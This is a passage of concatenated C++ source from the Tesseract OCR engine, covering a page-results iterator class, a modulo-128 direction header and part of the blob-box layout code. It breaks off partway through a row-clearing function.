// Merges 2 adjacent blobs in the result if the permanent callback
// class_cb returns other than INVALID_UNICHAR_ID, AND the permanent
// callback box_cb is NULL or returns true, setting the merged blob
// result to the class returned from class_cb.
// Returns true if anything was merged.
bool ConditionalBlobMerge(
TessResultCallback2<UNICHAR_ID, UNICHAR_ID, UNICHAR_ID>* class_cb,
TessResultCallback2<bool, const TBOX&, const TBOX&>* box_cb);
// Merges 2 adjacent blobs in the result (index and index+1) and corrects
// all the data to account for the change.
void MergeAdjacentBlobs(int index);
// Callback helper for fix_quotes returns a double quote if both
// arguments are quote, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID BothQuotes(UNICHAR_ID id1, UNICHAR_ID id2);
void fix_quotes();
// Callback helper for fix_hyphens returns UNICHAR_ID of - if both
// arguments are hyphen, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID BothHyphens(UNICHAR_ID id1, UNICHAR_ID id2);
// Callback helper for fix_hyphens returns true if box1 and box2 overlap
// (assuming both on the same textline, are in order and a chopped em dash.)
bool HyphenBoxesOverlap(const TBOX& box1, const TBOX& box2);
void fix_hyphens();
// Callback helper for merge_tess_fails returns a space if both
// arguments are space, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID BothSpaces(UNICHAR_ID id1, UNICHAR_ID id2);
void merge_tess_fails();
// Returns a really deep copy of *src, including the ratings MATRIX.
static WERD_RES* deep_copy(const WERD_RES* src) {
WERD_RES* result = new WERD_RES(*src);
// That didn't copy the ratings, but we want a copy if there is one to
// begin width.
if (src->ratings != NULL)
result->ratings = src->ratings->DeepCopy();
return result;
}
// Copy blobs from word_res onto this word (eliminating spaces between).
// Since this may be called bidirectionally OR both the BOL and EOL flags.
void copy_on(WERD_RES *word_res) { //from this word
word->set_flag(W_BOL, word->flag(W_BOL) || word_res->word->flag(W_BOL));
word->set_flag(W_EOL, word->flag(W_EOL) || word_res->word->flag(W_EOL));
word->copy_on(word_res->word);
}
// Returns true if the collection of count pieces, starting at start, are all
// natural connected components, ie there are no real chops involved.
bool PiecesAllNatural(int start, int count) const;
};
/*************************************************************************
* PAGE_RES_IT - Page results iterator
*************************************************************************/
class PAGE_RES_IT {
public:
PAGE_RES * page_res; // page being iterated
PAGE_RES_IT() {
} // empty contructor
PAGE_RES_IT(PAGE_RES *the_page_res) { // page result
page_res = the_page_res;
restart_page(); // ready to scan
}
// Do two PAGE_RES_ITs point at the same word?
// This is much cheaper than cmp().
bool operator ==(const PAGE_RES_IT &other) const;
bool operator !=(const PAGE_RES_IT &other) const {return !(*this == other); }
// Given another PAGE_RES_IT to the same page,
// this before other: -1
// this equal to other: 0
// this later than other: 1
int cmp(const PAGE_RES_IT &other) const;
WERD_RES *restart_page() {
return start_page(false); // Skip empty blocks.
}
WERD_RES *restart_page_with_empties() {
return start_page(true); // Allow empty blocks.
}
WERD_RES *start_page(bool empty_ok);
WERD_RES *restart_row();
// ============ Methods that mutate the underling structures ===========
// Note that these methods will potentially invalidate other PAGE_RES_ITs
// and are intended to be used only while a single PAGE_RES_IT is active.
// This problem needs to be taken into account if these mutation operators
// are ever provided to PageIterator or its subclasses.
// Inserts the new_word and a corresponding WERD_RES before the current
// position. The simple fields of the WERD_RES are copied from clone_res and
// the resulting WERD_RES is returned for further setup with best_choice etc.
WERD_RES* InsertSimpleCloneWord(const WERD_RES& clone_res, WERD* new_word);
// Replaces the current WERD/WERD_RES with the given words. The given words
// contain fake blobs that indicate the position of the characters. These are
// replaced with real blobs from the current word as much as possible.
void ReplaceCurrentWord(tesseract::PointerVector<WERD_RES>* words);
// Deletes the current WERD_RES and its underlying WERD.
void DeleteCurrentWord();
WERD_RES *forward() { // Get next word.
return internal_forward(false, false);
}
// Move forward, but allow empty blocks to show as single NULL words.
WERD_RES *forward_with_empties() {
return internal_forward(false, true);
}
WERD_RES *forward_paragraph(); // get first word in next non-empty paragraph
WERD_RES *forward_block(); // get first word in next non-empty block
WERD_RES *prev_word() const { // previous word
return prev_word_res;
}
ROW_RES *prev_row() const { // row of prev word
return prev_row_res;
}
BLOCK_RES *prev_block() const { // block of prev word
return prev_block_res;
}
WERD_RES *word() const { // current word
return word_res;
}
ROW_RES *row() const { // row of current word
return row_res;
}
BLOCK_RES *block() const { // block of cur. word
return block_res;
}
WERD_RES *next_word() const { // next word
return next_word_res;
}
ROW_RES *next_row() const { // row of next word
return next_row_res;
}
BLOCK_RES *next_block() const { // block of next word
return next_block_res;
}
void rej_stat_word(); // for page/block/row
private:
void ResetWordIterator();
WERD_RES *internal_forward(bool new_block, bool empty_ok);
WERD_RES * prev_word_res; // previous word
ROW_RES *prev_row_res; // row of prev word
BLOCK_RES *prev_block_res; // block of prev word
WERD_RES *word_res; // current word
ROW_RES *row_res; // row of current word
BLOCK_RES *block_res; // block of cur. word
WERD_RES *next_word_res; // next word
ROW_RES *next_row_res; // row of next word
BLOCK_RES *next_block_res; // block of next word
BLOCK_RES_IT block_res_it; // iterators
ROW_RES_IT row_res_it;
WERD_RES_IT word_res_it;
};
#endif
| C++ |
/**********************************************************************
* File: mod128.h (Formerly dir128.h)
* Description: Header for class which implements modulo arithmetic.
* Author: Ray Smith
* Created: Tue Mar 26 17:48:13 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef MOD128_H
#define MOD128_H
#include "points.h"
#define MODULUS 128 /*range of directions */
#define DIRBITS 7 //no of bits used
#define DIRSCALE 1000 //length of vector
class DLLSYM DIR128
{
public:
DIR128() {
} //empty constructor
DIR128( //constructor
inT16 value) { //value to assign
value %= MODULUS; //modulo arithmetic
if (value < 0)
value += MODULUS; //done properly
dir = (inT8) value;
}
DIR128(const FCOORD fc); //quantize vector
DIR128 & operator= ( //assign of inT16
inT16 value) { //value to assign
value %= MODULUS; //modulo arithmetic
if (value < 0)
value += MODULUS; //done properly
dir = (inT8) value;
return *this;
}
inT8 operator- ( //subtraction
const DIR128 & minus) const//for signed result
{
//result
inT16 result = dir - minus.dir;
if (result > MODULUS / 2)
result -= MODULUS; //get in range
else if (result < -MODULUS / 2)
result += MODULUS;
return (inT8) result;
}
DIR128 operator+ ( //addition
const DIR128 & add) const //of itself
{
DIR128 result; //sum
result = dir + add.dir; //let = do the work
return result;
}
DIR128 & operator+= ( //same as +
const DIR128 & add) {
*this = dir + add.dir; //let = do the work
return *this;
}
inT8 get_dir() const { //access function
return dir;
}
ICOORD vector() const; //turn to vector
private:
inT8 dir; //a direction
};
#endif
| C++ |
/**********************************************************************
* File: blobbox.cpp (Formerly blobnbox.c)
* Description: Code for the textord blob class.
* Author: Ray Smith
* Created: Thu Jul 30 09:08:51 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include "blobbox.h"
#include "allheaders.h"
#include "blobs.h"
#include "helpers.h"
#include "normalis.h"
#define PROJECTION_MARGIN 10 //arbitrary
#define EXTERN
ELISTIZE (BLOBNBOX) ELIST2IZE (TO_ROW) ELISTIZE (TO_BLOCK)
// Upto 30 degrees is allowed for rotations of diacritic blobs.
const double kCosSmallAngle = 0.866;
// Min aspect ratio for a joined word to indicate an obvious flow direction.
const double kDefiniteAspectRatio = 2.0;
// Multiple of short length in perimeter to make a joined word.
const double kComplexShapePerimeterRatio = 1.5;
// Min multiple of linesize for medium-sized blobs in ReFilterBlobs.
const double kMinMediumSizeRatio = 0.25;
// Max multiple of linesize for medium-sized blobs in ReFilterBlobs.
const double kMaxMediumSizeRatio = 4.0;
// Rotates the box and the underlying blob.
void BLOBNBOX::rotate(FCOORD rotation) {
cblob_ptr->rotate(rotation);
rotate_box(rotation);
compute_bounding_box();
}
// Reflect the box in the y-axis, leaving the underlying blob untouched.
void BLOBNBOX::reflect_box_in_y_axis() {
int left = -box.right();
box.set_right(-box.left());
box.set_left(left);
}
// Rotates the box by the angle given by rotation.
// If the blob is a diacritic, then only small rotations for skew
// correction can be applied.
void BLOBNBOX::rotate_box(FCOORD rotation) {
if (IsDiacritic()) {
ASSERT_HOST(rotation.x() >= kCosSmallAngle)
ICOORD top_pt((box.left() + box.right()) / 2, base_char_top_);
ICOORD bottom_pt(top_pt.x(), base_char_bottom_);
top_pt.rotate(rotation);
base_char_top_ = top_pt.y();
bottom_pt.rotate(rotation);
base_char_bottom_ = bottom_pt.y();
box.rotate(rotation);
} else {
box.rotate(rotation);
set_diacritic_box(box);
}
}
/**********************************************************************
* BLOBNBOX::merge
*
* Merge this blob with the given blob, which should be after this.
**********************************************************************/
void BLOBNBOX::merge( //merge blobs
BLOBNBOX *nextblob //blob to join with
) {
box += nextblob->box; //merge boxes
set_diacritic_box(box);
nextblob->joined = TRUE;
}
// Merge this with other, taking the outlines from other.
// Other is not deleted, but left for the caller to handle.
void BLOBNBOX::really_merge(BLOBNBOX* other) {
if (cblob_ptr != NULL && other->cblob_ptr != NULL) {
C_OUTLINE_IT ol_it(cblob_ptr->out_list());
ol_it.add_list_after(other->cblob_ptr->out_list());
}
compute_bounding_box();
}
/**********************************************************************
* BLOBNBOX::chop
*
* Chop this blob into equal sized pieces using the x height as a guide.
* The blob is not actually chopped. Instead, fake blobs are inserted
* with the relevant bounding boxes.
**********************************************************************/
void BLOBNBOX::chop( //chop blobs
BLOBNBOX_IT *start_it, //location of this
BLOBNBOX_IT *end_it, //iterator
FCOORD rotation, //for landscape
float xheight //of line
) {
inT16 blobcount; //no of blobs
BLOBNBOX *newblob; //fake blob
BLOBNBOX *blob; //current blob
inT16 blobindex; //number of chop
inT16 leftx; //left edge of blob
float blobwidth; //width of each
float rightx; //right edge to scan
float ymin, ymax; //limits of new blob
float test_ymin, test_ymax; //limits of part blob
ICOORD bl, tr; //corners of box
BLOBNBOX_IT blob_it; //blob iterator
//get no of chops
blobcount = (inT16) floor (box.width () / xheight);
if (blobcount > 1 && cblob_ptr != NULL) {
//width of each
blobwidth = (float) (box.width () + 1) / blobcount;
for (blobindex = blobcount - 1, rightx = box.right ();
blobindex >= 0; blobindex--, rightx -= blobwidth) {
ymin = (float) MAX_INT32;
ymax = (float) -MAX_INT32;
blob_it = *start_it;
do {
blob = blob_it.data ();
find_cblob_vlimits(blob->cblob_ptr, rightx - blobwidth,
rightx,
/*rotation, */ test_ymin, test_ymax);
blob_it.forward ();
UpdateRange(test_ymin, test_ymax, &ymin, &ymax);
}
while (blob != end_it->data ());
if (ymin < ymax) {
leftx = (inT16) floor (rightx - blobwidth);
if (leftx < box.left ())
leftx = box.left (); //clip to real box
bl = ICOORD (leftx, (inT16) floor (ymin));
tr = ICOORD ((inT16) ceil (rightx), (inT16) ceil (ymax));
if (blobindex == 0)
box = TBOX (bl, tr); //change box
else {
newblob = new BLOBNBOX;
//box is all it has
newblob->box = TBOX (bl, tr);
//stay on current
newblob->base_char_top_ = tr.y();
newblob->base_char_bottom_ = bl.y();
end_it->add_after_stay_put (newblob);
}
}
}
}
}
// Returns the box gaps between this and its neighbours_ in an array
// indexed by BlobNeighbourDir.
void BLOBNBOX::NeighbourGaps(int gaps[BND_COUNT]) const {
for (int dir = 0; dir < BND_COUNT; ++dir) {
gaps[dir] = MAX_INT16;
BLOBNBOX* neighbour = neighbours_[dir];
if (neighbour != NULL) {
TBOX n_box = neighbour->bounding_box();
if (dir == BND_LEFT || dir == BND_RIGHT) {
gaps[dir] = box.x_gap(n_box);
} else {
gaps[dir] = box.y_gap(n_box);
}
}
}
}
// Returns the min and max horizontal and vertical gaps (from NeighbourGaps)
// modified so that if the max exceeds the max dimension of the blob, and
// the min is less, the max is replaced with the min.
// The objective is to catch cases where there is only a single neighbour
// and avoid reporting the other gap as a ridiculously large number
void BLOBNBOX::MinMaxGapsClipped(int* h_min, int* h_max,
int* v_min, int* v_max) const {
int max_dimension = MAX(box.width(), box.height());
int gaps[BND_COUNT];
NeighbourGaps(gaps);
*h_min = MIN(gaps[BND_LEFT], gaps[BND_RIGHT]);
*h_max = MAX(gaps[BND_LEFT], gaps[BND_RIGHT]);
if (*h_max > max_dimension && *h_min < max_dimension) *h_max = *h_min;
*v_min = MIN(gaps[BND_ABOVE], gaps[BND_BELOW]);
*v_max = MAX(gaps[BND_ABOVE], gaps[BND_BELOW]);
if (*v_max > max_dimension && *v_min < max_dimension) *v_max = *v_min;
}
// NULLs out any neighbours that are DeletableNoise to remove references.
void BLOBNBOX::CleanNeighbours() {
for (int dir = 0; dir < BND_COUNT; ++dir) {
BLOBNBOX* neighbour = neighbours_[dir];
if (neighbour != NULL && neighbour->DeletableNoise()) {
neighbours_[dir] = NULL;
good_stroke_neighbours_[dir] = false;
}
}
}
// Returns positive if there is at least one side neighbour that has a similar
// stroke width and is not on the other side of a rule line.
int BLOBNBOX::GoodTextBlob() const {
int score = 0;
for (int dir = 0; dir < BND_COUNT; ++dir) {
BlobNeighbourDir bnd = static_cast<BlobNeighbourDir>(dir);
if (good_stroke_neighbour(bnd))
++score;
}
return score;
}
// Returns the number of side neighbours that are of type BRT_NOISE.
int BLOBNBOX::NoisyNeighbours() const {
int count = 0;
for (int dir = 0; dir < BND_COUNT; ++dir) {
BlobNeighbourDir bnd = static_cast<BlobNeighbourDir>(dir);
BLOBNBOX* blob = neighbour(bnd);
if (blob != NULL && blob->region_type() == BRT_NOISE)
++count;
}
return count;
}
// Returns true, and sets vert_possible/horz_possible if the blob has some
// feature that makes it individually appear to flow one way.
// eg if it has a high aspect ratio, yet has a complex shape, such as a
// joined word in Latin, Arabic, or Hindi, rather than being a -, I, l, 1 etc.
bool BLOBNBOX::DefiniteIndividualFlow() {
if (cblob() == NULL) return false;
int box_perimeter = 2 * (box.height() + box.width());
if (box.width() > box.height() * kDefiniteAspectRatio) {
// Attempt to distinguish a wide joined word from a dash.
// If it is a dash, then its perimeter is approximately
// 2 * (box width + stroke width), but more if the outline is noisy,
// so perimeter - 2*(box width + stroke width) should be close to zero.
// A complex shape such as a joined word should have a much larger value.
int perimeter = cblob()->perimeter();
if (vert_stroke_width() > 0 || perimeter <= 0)
perimeter -= 2 * vert_stroke_width();
else
perimeter -= 4 * cblob()->area() / perimeter;
perimeter -= 2 * box.width();
// Use a multiple of the box perimeter as a threshold.
if (perimeter > kComplexShapePerimeterRatio * box_perimeter) {
set_vert_possible(false);
set_horz_possible(true);
return true;
}
}
if (box.height() > box.width() * kDefiniteAspectRatio) {
// As above, but for a putative vertical word vs a I/1/l.
int perimeter = cblob()->perimeter();
if (horz_stroke_width() > 0 || perimeter <= 0)
perimeter -= 2 * horz_stroke_width();
else
perimeter -= 4 * cblob()->area() / perimeter;
perimeter -= 2 * box.height();
if (perimeter > kComplexShapePerimeterRatio * box_perimeter) {
set_vert_possible(true);
set_horz_possible(false);
return true;
}
}
return false;
}
// Returns true if there is no tabstop violation in merging this and other.
bool BLOBNBOX::ConfirmNoTabViolation(const BLOBNBOX& other) const {
if (box.left() < other.box.left() && box.left() < other.left_rule_)
return false;
if (other.box.left() < box.left() && other.box.left() < left_rule_)
return false;
if (box.right() > other.box.right() && box.right() > other.right_rule_)
return false;
if (other.box.right() > box.right() && other.box.right() > right_rule_)
return false;
return true;
}
// Returns true if other has a similar stroke width to this.
bool BLOBNBOX::MatchingStrokeWidth(const BLOBNBOX& other,
double fractional_tolerance,
double constant_tolerance) const {
// The perimeter-based width is used as a backup in case there is
// no information in the blob.
double p_width = area_stroke_width();
double n_p_width = other.area_stroke_width();
float h_tolerance = horz_stroke_width_ * fractional_tolerance
+ constant_tolerance;
float v_tolerance = vert_stroke_width_ * fractional_tolerance
+ constant_tolerance;
double p_tolerance = p_width * fractional_tolerance
+ constant_tolerance;
bool h_zero = horz_stroke_width_ == 0.0f || other.horz_stroke_width_ == 0.0f;
bool v_zero = vert_stroke_width_ == 0.0f || other.vert_stroke_width_ == 0.0f;
bool h_ok = !h_zero && NearlyEqual(horz_stroke_width_,
other.horz_stroke_width_, h_tolerance);
bool v_ok = !v_zero && NearlyEqual(vert_stroke_width_,
other.vert_stroke_width_, v_tolerance);
bool p_ok = h_zero && v_zero && NearlyEqual(p_width, n_p_width, p_tolerance);
// For a match, at least one of the horizontal and vertical widths
// must match, and the other one must either match or be zero.
// Only if both are zero will we look at the perimeter metric.
return p_ok || ((v_ok || h_ok) && (h_ok || h_zero) && (v_ok || v_zero));
}
// Returns a bounding box of the outline contained within the
// given horizontal range.
TBOX BLOBNBOX::BoundsWithinLimits(int left, int right) {
FCOORD no_rotation(1.0f, 0.0f);
float top = box.top();
float bottom = box.bottom();
if (cblob_ptr != NULL) {
find_cblob_limits(cblob_ptr, static_cast<float>(left),
static_cast<float>(right), no_rotation,
bottom, top);
}
if (top < bottom) {
top = box.top();
bottom = box.bottom();
}
FCOORD bot_left(left, bottom);
FCOORD top_right(right, top);
TBOX shrunken_box(bot_left);
TBOX shrunken_box2(top_right);
shrunken_box += shrunken_box2;
return shrunken_box;
}
// Estimates and stores the baseline position based on the shape of the
// outline.
void BLOBNBOX::EstimateBaselinePosition() {
baseline_y_ = box.bottom(); // The default.
if (cblob_ptr == NULL) return;
baseline_y_ = cblob_ptr->EstimateBaselinePosition();
}
// Helper to call CleanNeighbours on all blobs on the list.
void BLOBNBOX::CleanNeighbours(BLOBNBOX_LIST* blobs) {
BLOBNBOX_IT blob_it(blobs);
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
blob_it.data()->CleanNeighbours();
}
}
// Helper to delete all the deletable blobs on the list.
void BLOBNBOX::DeleteNoiseBlobs(BLOBNBOX_LIST* blobs) {
BLOBNBOX_IT blob_it(blobs);
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
BLOBNBOX* blob = blob_it.data();
if (blob->DeletableNoise()) {
delete blob->cblob();
delete blob_it.extract();
}
}
}
// Helper to compute edge offsets for all the blobs on the list.
// See coutln.h for an explanation of edge offsets.
void BLOBNBOX::ComputeEdgeOffsets(Pix* thresholds, Pix* grey,
BLOBNBOX_LIST* blobs) {
int grey_height = 0;
int thr_height = 0;
int scale_factor = 1;
if (thresholds != NULL && grey != NULL) {
grey_height = pixGetHeight(grey);
thr_height = pixGetHeight(thresholds);
scale_factor =
IntCastRounded(static_cast<double>(grey_height) / thr_height);
}
BLOBNBOX_IT blob_it(blobs);
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
BLOBNBOX* blob = blob_it.data();
if (blob->cblob() != NULL) {
// Get the threshold that applies to this blob.
l_uint32 threshold = 128;
if (thresholds != NULL && grey != NULL) {
const TBOX& box = blob->cblob()->bounding_box();
// Transform the coordinates if required.
TPOINT pt((box.left() + box.right()) / 2,
(box.top() + box.bottom()) / 2);
pixGetPixel(thresholds, pt.x / scale_factor,
thr_height - 1 - pt.y / scale_factor, &threshold);
}
blob->cblob()->ComputeEdgeOffsets(threshold, grey);
}
}
}
#ifndef GRAPHICS_DISABLED
// Helper to draw all the blobs on the list in the given body_colour,
// with child outlines in the child_colour.
void BLOBNBOX::PlotBlobs(BLOBNBOX_LIST* list,
ScrollView::Color body_colour,
ScrollView::Color child_colour,
ScrollView* win) {
BLOBNBOX_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->plot(win, body_colour, child_colour);
}
}
// Helper to draw only DeletableNoise blobs (unowned, BRT_NOISE) on the
// given list in the given body_colour, with child outlines in the
// child_colour.
void BLOBNBOX::PlotNoiseBlobs(BLOBNBOX_LIST* list,
ScrollView::Color body_colour,
ScrollView::Color child_colour,
ScrollView* win) {
BLOBNBOX_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
BLOBNBOX* blob = it.data();
if (blob->DeletableNoise())
blob->plot(win, body_colour, child_colour);
}
}
ScrollView::Color BLOBNBOX::TextlineColor(BlobRegionType region_type,
BlobTextFlowType flow_type) {
switch (region_type) {
case BRT_HLINE:
return ScrollView::BROWN;
case BRT_VLINE:
return ScrollView::DARK_GREEN;
case BRT_RECTIMAGE:
return ScrollView::RED;
case BRT_POLYIMAGE:
return ScrollView::ORANGE;
case BRT_UNKNOWN:
return flow_type == BTFT_NONTEXT ? ScrollView::CYAN : ScrollView::WHITE;
case BRT_VERT_TEXT:
if (flow_type == BTFT_STRONG_CHAIN || flow_type == BTFT_TEXT_ON_IMAGE)
return ScrollView::GREEN;
if (flow_type == BTFT_CHAIN)
return ScrollView::LIME_GREEN;
return ScrollView::YELLOW;
case BRT_TEXT:
if (flow_type == BTFT_STRONG_CHAIN)
return ScrollView::BLUE;
if (flow_type == BTFT_TEXT_ON_IMAGE)
return ScrollView::LIGHT_BLUE;
if (flow_type == BTFT_CHAIN)
return ScrollView::MEDIUM_BLUE;
if (flow_type == BTFT_LEADER)
return ScrollView::WHEAT;
if (flow_type == BTFT_NONTEXT)
return ScrollView::PINK;
return ScrollView::MAGENTA;
default:
return ScrollView::GREY;
}
}
// Keep in sync with BlobRegionType.
ScrollView::Color BLOBNBOX::BoxColor() const {
return TextlineColor(region_type_, flow_);
}
void BLOBNBOX::plot(ScrollView* window, // window to draw in
ScrollView::Color blob_colour, // for outer bits
ScrollView::Color child_colour) { // for holes
if (cblob_ptr != NULL)
cblob_ptr->plot(window, blob_colour, child_colour);
}
#endif
/**********************************************************************
* find_cblob_limits
*
* Scan the outlines of the cblob to locate the y min and max
* between the given x limits.
**********************************************************************/
void find_cblob_limits( //get y limits
C_BLOB *blob, //blob to search
float leftx, //x limits
float rightx,
FCOORD rotation, //for landscape
float &ymin, //output y limits
float &ymax) {
inT16 stepindex; //current point
ICOORD pos; //current coords
ICOORD vec; //rotated step
C_OUTLINE *outline; //current outline
//outlines
C_OUTLINE_IT out_it = blob->out_list ();
ymin = (float) MAX_INT32;
ymax = (float) -MAX_INT32;
for (out_it.mark_cycle_pt (); !out_it.cycled_list (); out_it.forward ()) {
outline = out_it.data ();
pos = outline->start_pos (); //get coords
pos.rotate (rotation);
for (stepindex = 0; stepindex < outline->pathlength (); stepindex++) {
//inside
if (pos.x () >= leftx && pos.x () <= rightx) {
UpdateRange(pos.y(), &ymin, &ymax);
}
vec = outline->step (stepindex);
vec.rotate (rotation);
pos += vec; //move to next
}
}
}
/**********************************************************************
* find_cblob_vlimits
*
* Scan the outlines of the cblob to locate the y min and max
* between the given x limits.
**********************************************************************/
void find_cblob_vlimits( //get y limits
C_BLOB *blob, //blob to search
float leftx, //x limits
float rightx,
float &ymin, //output y limits
float &ymax) {
inT16 stepindex; //current point
ICOORD pos; //current coords
ICOORD vec; //rotated step
C_OUTLINE *outline; //current outline
//outlines
C_OUTLINE_IT out_it = blob->out_list ();
ymin = (float) MAX_INT32;
ymax = (float) -MAX_INT32;
for (out_it.mark_cycle_pt (); !out_it.cycled_list (); out_it.forward ()) {
outline = out_it.data ();
pos = outline->start_pos (); //get coords
for (stepindex = 0; stepindex < outline->pathlength (); stepindex++) {
//inside
if (pos.x () >= leftx && pos.x () <= rightx) {
UpdateRange(pos.y(), &ymin, &ymax);
}
vec = outline->step (stepindex);
pos += vec; //move to next
}
}
}
/**********************************************************************
* find_cblob_hlimits
*
* Scan the outlines of the cblob to locate the x min and max
* between the given y limits.
**********************************************************************/
void find_cblob_hlimits( //get x limits
C_BLOB *blob, //blob to search
float bottomy, //y limits
float topy,
float &xmin, //output x limits
float &xmax) {
inT16 stepindex; //current point
ICOORD pos; //current coords
ICOORD vec; //rotated step
C_OUTLINE *outline; //current outline
//outlines
C_OUTLINE_IT out_it = blob->out_list ();
xmin = (float) MAX_INT32;
xmax = (float) -MAX_INT32;
for (out_it.mark_cycle_pt (); !out_it.cycled_list (); out_it.forward ()) {
outline = out_it.data ();
pos = outline->start_pos (); //get coords
for (stepindex = 0; stepindex < outline->pathlength (); stepindex++) {
//inside
if (pos.y () >= bottomy && pos.y () <= topy) {
UpdateRange(pos.x(), &xmin, &xmax);
}
vec = outline->step (stepindex);
pos += vec; //move to next
}
}
}
/**********************************************************************
* crotate_cblob
*
* Rotate the copy by the given vector and return a C_BLOB.
**********************************************************************/
C_BLOB *crotate_cblob( //rotate it
C_BLOB *blob, //blob to search
FCOORD rotation //for landscape
) {
C_OUTLINE_LIST out_list; //output outlines
//input outlines
C_OUTLINE_IT in_it = blob->out_list ();
//output outlines
C_OUTLINE_IT out_it = &out_list;
for (in_it.mark_cycle_pt (); !in_it.cycled_list (); in_it.forward ()) {
out_it.add_after_then_move (new C_OUTLINE (in_it.data (), rotation));
}
return new C_BLOB (&out_list);
}
/**********************************************************************
* box_next
*
* Compute the bounding box of this blob with merging of x overlaps
* but no pre-chopping.
* Then move the iterator on to the start of the next blob.
**********************************************************************/
TBOX box_next( //get bounding box
BLOBNBOX_IT *it //iterator to blobds
) {
BLOBNBOX *blob; //current blob
TBOX result; //total box
blob = it->data ();
result = blob->bounding_box ();
do {
it->forward ();
blob = it->data ();
if (blob->cblob() == NULL)
//was pre-chopped
result += blob->bounding_box ();
}
//until next real blob
while ((blob->cblob() == NULL) || blob->joined_to_prev());
return result;
}
/**********************************************************************
* box_next_pre_chopped
*
* Compute the bounding box of this blob with merging of x overlaps
* but WITH pre-chopping.
* Then move the iterator on to the start of the next pre-chopped blob.
**********************************************************************/
TBOX box_next_pre_chopped( //get bounding box
BLOBNBOX_IT *it //iterator to blobds
) {
BLOBNBOX *blob; //current blob
TBOX result; //total box
blob = it->data ();
result = blob->bounding_box ();
do {
it->forward ();
blob = it->data ();
}
//until next real blob
while (blob->joined_to_prev ());
return result;
}
/**********************************************************************
* TO_ROW::TO_ROW
*
* Constructor to make a row from a blob.
**********************************************************************/
TO_ROW::TO_ROW ( //constructor
BLOBNBOX * blob, //first blob
float top, //corrected top
float bottom, //of row
float row_size //ideal
) {
clear();
y_min = bottom;
y_max = top;
initial_y_min = bottom;
float diff; //in size
BLOBNBOX_IT it = &blobs; //list of blobs
it.add_to_end (blob);
diff = top - bottom - row_size;
if (diff > 0) {
y_max -= diff / 2;
y_min += diff / 2;
}
//very small object
else if ((top - bottom) * 3 < row_size) {
diff = row_size / 3 + bottom - top;
y_max += diff / 2;
y_min -= diff / 2;
}
}
void TO_ROW::print() const {
tprintf("pitch=%d, fp=%g, fps=%g, fpns=%g, prs=%g, prns=%g,"
" spacing=%g xh=%g y_origin=%g xev=%d, asc=%g, desc=%g,"
" body=%g, minsp=%d maxnsp=%d, thr=%d kern=%g sp=%g\n",
pitch_decision, fixed_pitch, fp_space, fp_nonsp, pr_space, pr_nonsp,
spacing, xheight, y_origin, xheight_evidence, ascrise, descdrop,
body_size, min_space, max_nonspace, space_threshold, kern_size,
space_size);
}
/**********************************************************************
* TO_ROW:add_blob
*
* Add the blob to the end of the row.
**********************************************************************/
void TO_ROW::add_blob( //constructor
BLOBNBOX *blob, //first blob
float top, //corrected top
float bottom, //of row
float row_size //ideal
) {
float allowed; //allowed expansion
float available; //expansion
BLOBNBOX_IT it = &blobs; //list of blobs
it.add_to_end (blob);
allowed = row_size + y_min - y_max;
if (allowed > 0) {
available = top > y_max ? top - y_max : 0;
if (bottom < y_min)
//total available
available += y_min - bottom;
if (available > 0) {
available += available; //do it gradually
if (available < allowed)
available = allowed;
if (bottom < y_min)
y_min -= (y_min - bottom) * allowed / available;
if (top > y_max)
y_max += (top - y_max) * allowed / available;
}
}
}
/**********************************************************************
* TO_ROW:insert_blob
*
* Add the blob to the row in the correct position.
**********************************************************************/
void TO_ROW::insert_blob( //constructor
BLOBNBOX *blob //first blob
) {
BLOBNBOX_IT it = &blobs; //list of blobs
if (it.empty ())
it.add_before_then_move (blob);
else {
it.mark_cycle_pt ();
while (!it.cycled_list ()
&& it.data ()->bounding_box ().left () <=
blob->bounding_box ().left ())
it.forward ();
if (it.cycled_list ())
it.add_to_end (blob);
else
it.add_before_stay_put (blob);
}
}
/**********************************************************************
* TO_ROW::compute_vertical_projection
*
* Compute the vertical projection of a TO_ROW from its blobs.
**********************************************************************/
void TO_ROW::compute_vertical_projection() { //project whole row
TBOX row_box; //bound of row
BLOBNBOX *blob; //current blob
TBOX blob_box; //bounding box
BLOBNBOX_IT blob_it = blob_list ();
if (blob_it.empty ())
return;
row_box = blob_it.data ()->bounding_box ();
for (blob_it.mark_cycle_pt (); !blob_it.cycled_list (); blob_it.forward ())
row_box += blob_it.data ()->bounding_box ();
projection.set_range (row_box.left () - PROJECTION_MARGIN,
row_box.right () + PROJECTION_MARGIN);
projection_left = row_box.left () - PROJECTION_MARGIN;
projection_right = row_box.right () + PROJECTION_MARGIN;
for (blob_it.mark_cycle_pt (); !blob_it.cycled_list (); blob_it.forward ()) {
blob = blob_it.data();
if (blob->cblob() != NULL)
vertical_cblob_projection(blob->cblob(), &projection);
}
}
/**********************************************************************
* TO_ROW::clear
*
* Zero out all scalar members.
**********************************************************************/
void TO_ROW::clear() {
all_caps = 0;
used_dm_model = 0;
projection_left = 0;
projection_right = 0;
pitch_decision = PITCH_DUNNO;
fixed_pitch = 0.0;
fp_space = 0.0;
fp_nonsp = 0.0;
